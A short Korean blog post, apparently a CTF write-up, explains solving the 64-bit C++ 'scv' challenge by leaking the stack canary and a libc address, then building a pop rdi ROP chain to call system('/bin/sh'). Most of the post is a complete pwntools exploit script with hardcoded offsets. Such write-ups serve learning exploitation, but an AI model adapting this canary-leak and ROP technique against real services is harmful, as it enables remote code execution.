본문 바로가기
시스템 해킹/cykor

scv-64비트, C++, ROP, 카나리릭, libc릭

by sonysame 2018. 1. 6.

64비트, C++, ROP, 카나리릭, libc릭-scv



아주 간단한 카나리릭, libc릭 문제였다.

C++형태이고, 64비트 문제라서 조금 생소했다.


read를 하고, 입력 받은 것을 출력해주는데, 이때 릭을 했다.

카나리릭+libc릭->카나리와 /bin/sh주고, system주소 알아낼 수 있다.

+)카나리는 항상 \x00으로 끝난다!


리턴어드레스에는 pop rdi; ret을 넣어준다.

64비트에서는 함수 호출규약이 조금 다르다. 스택기반이 아닌 레지스터로!
rdi로 들어간다. 

그래서 pop rdi; ret;을 이용해서 rdi에 /bin/sh주소를 넣어주고, 그 다음 리턴 어드레스에 system주소를 넣어준다!


from pwn import *


prdir=0x400ea3 #pop rdi; ret


s=process('./scv')

#raw_input()


s.recv(1024)

s.send('1\n')

s.recv(1024)

s.send("a"*40+"\n")

s.recv(1024)

s.send("2\n")


leak=s.recv(1024)[0xb2:0xb8]

leak+="\x00\x00"

leak=u64(leak)

sh=leak+0x1440f9

system=leak+0xa186

print ("/bin/sh : "+hex(sh))

print ("system : "+hex(system))


s.send("1\n")

s.recv(1024)

s.send("b"*169)

s.recv(1024)

s.send("2\n")


canary="\x00"

canary+=s.recv(1024)[0x133:0x13a]

canary=u64(canary)

print("canary : "+hex(canary))


s.send("1\n")

s.recv(1024)

payload="a"*168+p64(canary)

payload+="b"*(184-len(payload))

payload+=p64(prdir) #pop rdi; ret;

payload+=p64(sh) #rdi<-/bin/sh

payload+=p64(system)

s.send(payload)

s.recv(1024)

s.send("3\n")

s.recv(1024)


s.interactive()

s.close()



'시스템 해킹 > cykor' 카테고리의 다른 글

contact-공백이용해서 ret덮어버리는 문제  (0) 2018.01.11
start_hard-64비트 SROP, 브루트포스  (0) 2018.01.09
enjoy_rop-ROP+SROP  (0) 2018.01.06
rop2-ROP+SROP  (0) 2018.01.05
rop1-ROP+SROP  (0) 2018.01.02